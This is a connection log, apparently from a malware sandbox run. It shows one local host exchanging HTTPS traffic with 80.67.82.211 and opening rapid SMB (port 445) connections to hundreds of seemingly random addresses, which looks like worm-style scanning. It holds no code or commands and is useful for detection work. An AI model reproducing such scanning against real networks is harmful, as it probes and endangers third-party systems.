Jul 21, 2022 04:34:45.739639997 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739692926 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739840984 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.749456882 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.749470949 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.749490976 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.749742031 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.749756098 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.749784946 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.749792099 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.749809027 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.749914885 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.749927044 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.749943018 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750066042 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.750077963 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750096083 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.750102043 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750116110 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750226021 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.750236034 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750305891 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.750318050 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750330925 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750451088 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.750458002 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.750727892 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.750739098 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.750762939 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751074076 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.751286030 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.751295090 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751310110 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751327038 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751542091 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.751550913 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751563072 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.751571894 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751589060 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751640081 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.751646042 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751658916 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751802921 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.751811028 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751832008 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.751849890 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.751857042 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.752002954 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.752017021 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.752271891 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.752283096 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.752294064 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.752420902 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.777136087 CEST	50612	445	192.168.2.6	65.146.136.93
Jul 21, 2022 04:34:45.777146101 CEST	50613	445	192.168.2.6	203.15.218.65
Jul 21, 2022 04:34:45.777261019 CEST	50614	445	192.168.2.6	39.48.205.241
Jul 21, 2022 04:34:45.777286053 CEST	50615	445	192.168.2.6	178.130.89.40
Jul 21, 2022 04:34:45.777378082 CEST	50617	445	192.168.2.6	173.104.49.62
Jul 21, 2022 04:34:45.777401924 CEST	50616	445	192.168.2.6	55.1.136.154
Jul 21, 2022 04:34:45.777494907 CEST	50618	445	192.168.2.6	114.218.48.3
Jul 21, 2022 04:34:45.777554989 CEST	50619	445	192.168.2.6	34.239.252.254
Jul 21, 2022 04:34:45.777606964 CEST	50620	445	192.168.2.6	88.125.17.250
Jul 21, 2022 04:34:45.777633905 CEST	50621	445	192.168.2.6	111.92.22.62
Jul 21, 2022 04:34:45.777702093 CEST	50622	445	192.168.2.6	165.218.78.47
Jul 21, 2022 04:34:45.791559935 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.791573048 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.791587114 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.791610956 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.791620970 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.791835070 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.791845083 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.791852951 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.791934967 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.791938066 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.792781115 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.792793989 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.794126987 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.794147015 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.882704020 CEST	50623	445	192.168.2.6	148.53.106.63
Jul 21, 2022 04:34:46.117894888 CEST	50624	445	192.168.2.6	187.174.34.41
Jul 21, 2022 04:34:46.322285891 CEST	50625	445	192.168.2.6	6.197.105.4
Jul 21, 2022 04:34:46.351329088 CEST	50626	445	192.168.2.6	206.36.151.249
Jul 21, 2022 04:34:46.383131981 CEST	50627	445	192.168.2.6	190.98.231.8
Jul 21, 2022 04:34:46.492229939 CEST	50628	445	192.168.2.6	125.218.119.92
Jul 21, 2022 04:34:46.492999077 CEST	50629	445	192.168.2.6	152.244.254.42
Jul 21, 2022 04:34:46.493760109 CEST	50630	445	192.168.2.6	153.131.102.108
Jul 21, 2022 04:34:46.494483948 CEST	50631	445	192.168.2.6	10.229.152.184
Jul 21, 2022 04:34:46.495448112 CEST	50632	445	192.168.2.6	37.115.242.64
Jul 21, 2022 04:34:46.496181011 CEST	50633	445	192.168.2.6	63.97.7.194
Jul 21, 2022 04:34:46.496902943 CEST	50634	445	192.168.2.6	169.202.24.236
Jul 21, 2022 04:34:46.554740906 CEST	50635	445	192.168.2.6	52.126.231.105
Jul 21, 2022 04:34:46.585902929 CEST	50636	445	192.168.2.6	198.167.103.32
Jul 21, 2022 04:34:46.757558107 CEST	50637	445	192.168.2.6	10.244.109.25
Jul 21, 2022 04:34:46.901875019 CEST	50638	445	192.168.2.6	8.217.47.200
Jul 21, 2022 04:34:46.902028084 CEST	50639	445	192.168.2.6	206.121.152.109
Jul 21, 2022 04:34:46.902148962 CEST	50640	445	192.168.2.6	178.81.129.195
Jul 21, 2022 04:34:46.902149916 CEST	50641	445	192.168.2.6	59.6.91.188
Jul 21, 2022 04:34:46.902245045 CEST	50642	445	192.168.2.6	17.182.224.20
Jul 21, 2022 04:34:46.902264118 CEST	50643	445	192.168.2.6	133.46.230.63
Jul 21, 2022 04:34:46.902442932 CEST	50644	445	192.168.2.6	201.169.31.59
Jul 21, 2022 04:34:46.902601957 CEST	50646	445	192.168.2.6	155.72.228.184
Jul 21, 2022 04:34:46.902618885 CEST	50645	445	192.168.2.6	17.163.184.105
Jul 21, 2022 04:34:46.902735949 CEST	50647	445	192.168.2.6	138.126.113.207
Jul 21, 2022 04:34:46.902868032 CEST	50648	445	192.168.2.6	135.135.116.49
Jul 21, 2022 04:34:47.007795095 CEST	50649	445	192.168.2.6	110.90.26.69
Jul 21, 2022 04:34:47.252521992 CEST	50650	445	192.168.2.6	122.227.250.23
Jul 21, 2022 04:34:47.433444977 CEST	50651	445	192.168.2.6	207.226.36.64
Jul 21, 2022 04:34:47.447079897 CEST	50652	445	192.168.2.6	190.98.231.9
Jul 21, 2022 04:34:47.461014986 CEST	50653	445	192.168.2.6	9.171.107.214
Jul 21, 2022 04:34:47.601753950 CEST	50654	445	192.168.2.6	6.37.193.1
Jul 21, 2022 04:34:47.602225065 CEST	50655	445	192.168.2.6	4.247.226.108
Jul 21, 2022 04:34:47.602727890 CEST	50656	445	192.168.2.6	64.17.117.245
Jul 21, 2022 04:34:47.603249073 CEST	50657	445	192.168.2.6	49.96.246.42
Jul 21, 2022 04:34:47.603749037 CEST	50658	445	192.168.2.6	145.74.217.99
Jul 21, 2022 04:34:47.604245901 CEST	50659	445	192.168.2.6	212.1.194.195
Jul 21, 2022 04:34:47.604732990 CEST	50660	445	192.168.2.6	88.40.115.253
Jul 21, 2022 04:34:47.664216042 CEST	50661	445	192.168.2.6	3.106.254.117
Jul 21, 2022 04:34:47.695578098 CEST	50662	445	192.168.2.6	45.239.43.182
Jul 21, 2022 04:34:47.867372036 CEST	50663	445	192.168.2.6	101.120.103.36
Jul 21, 2022 04:34:48.007716894 CEST	50664	445	192.168.2.6	3.110.4.243
Jul 21, 2022 04:34:48.008306980 CEST	50665	445	192.168.2.6	97.229.156.127
Jul 21, 2022 04:34:48.008835077 CEST	50666	445	192.168.2.6	191.27.60.239
Jul 21, 2022 04:34:48.009332895 CEST	50667	445	192.168.2.6	33.121.62.222
Jul 21, 2022 04:34:48.009829998 CEST	50668	445	192.168.2.6	152.180.251.196
Jul 21, 2022 04:34:48.010324001 CEST	50669	445	192.168.2.6	44.65.57.42
Jul 21, 2022 04:34:48.010852098 CEST	50670	445	192.168.2.6	115.17.6.214
Jul 21, 2022 04:34:48.011365891 CEST	50671	445	192.168.2.6	71.26.75.39
Jul 21, 2022 04:34:48.011858940 CEST	50672	445	192.168.2.6	115.76.34.162
Jul 21, 2022 04:34:48.012355089 CEST	50673	445	192.168.2.6	185.47.0.13
Jul 21, 2022 04:34:48.012918949 CEST	50674	445	192.168.2.6	189.184.234.163
Jul 21, 2022 04:34:48.133316994 CEST	50675	445	192.168.2.6	181.203.118.70
Jul 21, 2022 04:34:48.338701010 CEST	50676	445	192.168.2.6	61.119.36.161
Jul 21, 2022 04:34:48.352577925 CEST	50677	445	192.168.2.6	35.105.118.47
Jul 21, 2022 04:34:48.507709980 CEST	50678	445	192.168.2.6	190.98.231.10
Jul 21, 2022 04:34:48.538966894 CEST	50679	445	192.168.2.6	43.108.189.167
Jul 21, 2022 04:34:48.577843904 CEST	50680	445	192.168.2.6	78.32.46.113
Jul 21, 2022 04:34:48.736531973 CEST	50681	445	192.168.2.6	180.193.197.234
Jul 21, 2022 04:34:48.736604929 CEST	50682	445	192.168.2.6	128.244.226.196
Jul 21, 2022 04:34:48.736610889 CEST	50683	445	192.168.2.6	162.235.20.146
Jul 21, 2022 04:34:48.736777067 CEST	50684	445	192.168.2.6	40.193.21.49
Jul 21, 2022 04:34:48.736794949 CEST	50685	445	192.168.2.6	14.189.210.248
Jul 21, 2022 04:34:48.736884117 CEST	50686	445	192.168.2.6	175.189.221.53
Jul 21, 2022 04:34:48.736901045 CEST	50687	445	192.168.2.6	159.212.207.126
Jul 21, 2022 04:34:48.763956070 CEST	445	50678	190.98.231.10	192.168.2.6
Jul 21, 2022 04:34:48.790322065 CEST	50688	445	192.168.2.6	139.170.42.102
Jul 21, 2022 04:34:48.820468903 CEST	50689	445	192.168.2.6	28.74.245.90
Jul 21, 2022 04:34:48.992626905 CEST	50690	445	192.168.2.6	117.125.38.93
Jul 21, 2022 04:34:49.135695934 CEST	50691	445	192.168.2.6	21.44.211.61
Jul 21, 2022 04:34:49.136190891 CEST	50692	445	192.168.2.6	216.45.115.162
Jul 21, 2022 04:34:49.136852026 CEST	50693	445	192.168.2.6	146.191.87.114
Jul 21, 2022 04:34:49.137799978 CEST	50694	445	192.168.2.6	161.209.229.107
Jul 21, 2022 04:34:49.139209986 CEST	50695	445	192.168.2.6	196.207.5.200
Jul 21, 2022 04:34:49.139343977 CEST	50697	445	192.168.2.6	1.99.239.229
Jul 21, 2022 04:34:49.139466047 CEST	50696	445	192.168.2.6	218.53.156.3
Jul 21, 2022 04:34:49.149724960 CEST	50698	445	192.168.2.6	67.161.73.19
Jul 21, 2022 04:34:49.149821043 CEST	50700	445	192.168.2.6	201.158.134.14
Jul 21, 2022 04:34:49.149828911 CEST	50699	445	192.168.2.6	25.127.172.244
Jul 21, 2022 04:34:49.149879932 CEST	50701	445	192.168.2.6	160.130.76.225
Jul 21, 2022 04:34:49.261980057 CEST	50702	445	192.168.2.6	217.67.49.36
Jul 21, 2022 04:34:49.272805929 CEST	50678	445	192.168.2.6	190.98.231.10
Jul 21, 2022 04:34:49.461100101 CEST	50703	445	192.168.2.6	164.170.24.26
Jul 21, 2022 04:34:49.492333889 CEST	50704	445	192.168.2.6	43.62.116.120
Jul 21, 2022 04:34:49.528748989 CEST	445	50678	190.98.231.10	192.168.2.6
Jul 21, 2022 04:34:49.586122990 CEST	50705	445	192.168.2.6	190.98.231.11
Jul 21, 2022 04:34:49.664400101 CEST	50706	445	192.168.2.6	96.68.157.35
Jul 21, 2022 04:34:49.698744059 CEST	50707	445	192.168.2.6	96.153.89.134
Jul 21, 2022 04:34:49.851721048 CEST	50708	445	192.168.2.6	59.112.28.43
Jul 21, 2022 04:34:49.852437973 CEST	50709	445	192.168.2.6	62.4.1.2
Jul 21, 2022 04:34:49.853184938 CEST	50710	445	192.168.2.6	50.198.114.50
Jul 21, 2022 04:34:49.853923082 CEST	50711	445	192.168.2.6	191.129.183.115
Jul 21, 2022 04:34:49.854662895 CEST	50712	445	192.168.2.6	43.77.178.141
Jul 21, 2022 04:34:49.855402946 CEST	50713	445	192.168.2.6	85.148.56.192
Jul 21, 2022 04:34:49.856170893 CEST	50714	445	192.168.2.6	37.61.190.248
Jul 21, 2022 04:34:49.908148050 CEST	50715	445	192.168.2.6	38.74.115.21
Jul 21, 2022 04:34:49.945667982 CEST	50716	445	192.168.2.6	46.18.177.85
Jul 21, 2022 04:34:50.127815962 CEST	50717	445	192.168.2.6	171.158.196.215
Jul 21, 2022 04:34:50.243316889 CEST	50718	445	192.168.2.6	187.44.72.214
Jul 21, 2022 04:34:50.244626999 CEST	50719	445	192.168.2.6	96.156.180.105
Jul 21, 2022 04:34:50.245971918 CEST	50720	445	192.168.2.6	105.215.164.109
Jul 21, 2022 04:34:50.246763945 CEST	50721	445	192.168.2.6	40.144.243.103
Jul 21, 2022 04:34:50.247574091 CEST	50722	445	192.168.2.6	120.44.123.1
Jul 21, 2022 04:34:50.249419928 CEST	50723	445	192.168.2.6	211.90.107.119
Jul 21, 2022 04:34:50.249799967 CEST	50724	445	192.168.2.6	17.193.169.186
Jul 21, 2022 04:34:50.258784056 CEST	50725	445	192.168.2.6	218.148.63.73
Jul 21, 2022 04:34:50.259032965 CEST	50726	445	192.168.2.6	170.16.179.236
Jul 21, 2022 04:34:50.259138107 CEST	50727	445	192.168.2.6	77.154.205.44
Jul 21, 2022 04:34:50.259191036 CEST	50728	445	192.168.2.6	84.180.92.178
Jul 21, 2022 04:34:50.356226921 CEST	50729	445	192.168.2.6	109.24.163.29
Jul 21, 2022 04:34:50.383111954 CEST	50730	445	192.168.2.6	95.251.252.153
Jul 21, 2022 04:34:50.586658955 CEST	50731	445	192.168.2.6	179.110.25.55
Jul 21, 2022 04:34:50.617348909 CEST	50732	445	192.168.2.6	60.252.228.226
Jul 21, 2022 04:34:50.664150000 CEST	50733	445	192.168.2.6	190.98.231.12
Jul 21, 2022 04:34:50.789040089 CEST	50734	445	192.168.2.6	215.145.229.215
Jul 21, 2022 04:34:50.812549114 CEST	445	50711	191.129.183.115	192.168.2.6
Jul 21, 2022 04:34:50.820761919 CEST	50735	445	192.168.2.6	175.32.77.139
Jul 21, 2022 04:34:50.977294922 CEST	50736	445	192.168.2.6	46.73.195.180
Jul 21, 2022 04:34:50.978741884 CEST	50737	445	192.168.2.6	46.169.231.187
Jul 21, 2022 04:34:50.980061054 CEST	50738	445	192.168.2.6	212.18.23.60
Jul 21, 2022 04:34:50.981266022 CEST	50739	445	192.168.2.6	126.54.7.203
Jul 21, 2022 04:34:50.982744932 CEST	50740	445	192.168.2.6	88.141.135.90
Jul 21, 2022 04:34:50.984009981 CEST	50741	445	192.168.2.6	14.88.86.122
Jul 21, 2022 04:34:50.985218048 CEST	50742	445	192.168.2.6	113.209.194.60
Jul 21, 2022 04:34:51.008121967 CEST	50743	445	192.168.2.6	112.143.242.97
Jul 21, 2022 04:34:51.070805073 CEST	50744	445	192.168.2.6	96.110.244.215
Jul 21, 2022 04:34:51.242353916 CEST	50745	445	192.168.2.6	137.235.196.152
Jul 21, 2022 04:34:51.367582083 CEST	50746	445	192.168.2.6	100.148.128.219
Jul 21, 2022 04:34:51.368037939 CEST	50747	445	192.168.2.6	191.199.40.139
Jul 21, 2022 04:34:51.368582964 CEST	50748	445	192.168.2.6	69.46.99.181
Jul 21, 2022 04:34:51.369077921 CEST	50749	445	192.168.2.6	204.190.169.165
Jul 21, 2022 04:34:51.369550943 CEST	50750	445	192.168.2.6	187.153.106.137
Jul 21, 2022 04:34:51.370299101 CEST	50751	445	192.168.2.6	200.6.166.193
Jul 21, 2022 04:34:51.370496035 CEST	50752	445	192.168.2.6	158.58.251.171
Jul 21, 2022 04:34:51.383876085 CEST	50753	445	192.168.2.6	79.42.226.68
Jul 21, 2022 04:34:51.383915901 CEST	50754	445	192.168.2.6	163.186.144.216
Jul 21, 2022 04:34:51.384030104 CEST	50756	445	192.168.2.6	93.238.5.203
Jul 21, 2022 04:34:51.384048939 CEST	50755	445	192.168.2.6	73.191.250.245
Jul 21, 2022 04:34:51.461057901 CEST	50757	445	192.168.2.6	2.187.232.7
Jul 21, 2022 04:34:51.494499922 CEST	50758	445	192.168.2.6	216.90.228.102
Jul 21, 2022 04:34:51.563132048 CEST	445	50751	200.6.166.193	192.168.2.6
Jul 21, 2022 04:34:51.695568085 CEST	50759	445	192.168.2.6	135.20.111.126
Jul 21, 2022 04:34:51.749809980 CEST	50761	445	192.168.2.6	219.188.180.7
Jul 21, 2022 04:34:51.749814987 CEST	50760	445	192.168.2.6	190.98.231.13
Jul 21, 2022 04:34:51.755172014 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.755198002 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.755290031 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.755510092 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.755522966 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.793391943 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.793565989 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.794133902 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.794145107 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.796114922 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.796128035 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.870265007 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.870318890 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.870333910 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.870347977 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.870383978 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.870388985 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.870429039 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.870434046 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.870471001 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.870508909 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.871742964 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.871810913 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.871831894 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.871857882 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.871906042 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.872622967 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.872703075 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.876619101 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.876668930 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.876698017 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.876708031 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.876733065 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.876771927 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.888128042 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.888174057 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.888221979 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.888236046 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.888262987 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.888294935 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.889107943 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.889208078 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.890933037 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.890974998 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.891014099 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.891025066 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.891134977 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.891138077 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.893742085 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.893784046 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.893831968 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.893845081 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.893961906 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.893969059 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.895669937 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.895776987 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.899414062 CEST	50763	445	192.168.2.6	76.6.79.252
Jul 21, 2022 04:34:51.907084942 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.907119989 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.907200098 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.907212973 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.907285929 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.907301903 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.908623934 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.908655882 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.908735991 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.908739090 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.908776045 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.908787966 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.908832073 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.908869982 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.911653996 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.911689997 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.911761999 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.911772013 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.911900043 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.911902905 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.912623882 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.912669897 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.912802935 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.912811041 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.912820101 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.912879944 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.912940025 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.913043976 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.914649010 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.914686918 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.914737940 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.914752960 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.914789915 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.914810896 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.914856911 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.914887905 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.914937019 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.914944887 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.914988995 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.915009975 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.915448904 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.915534973 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.917059898 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.917102098 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.917186022 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.917198896 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.917227983 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.917290926 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.918458939 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.918488026 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.918553114 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.918562889 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.918585062 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.918610096 CEST	50762	443	192.168.2.6	80.67.82.211
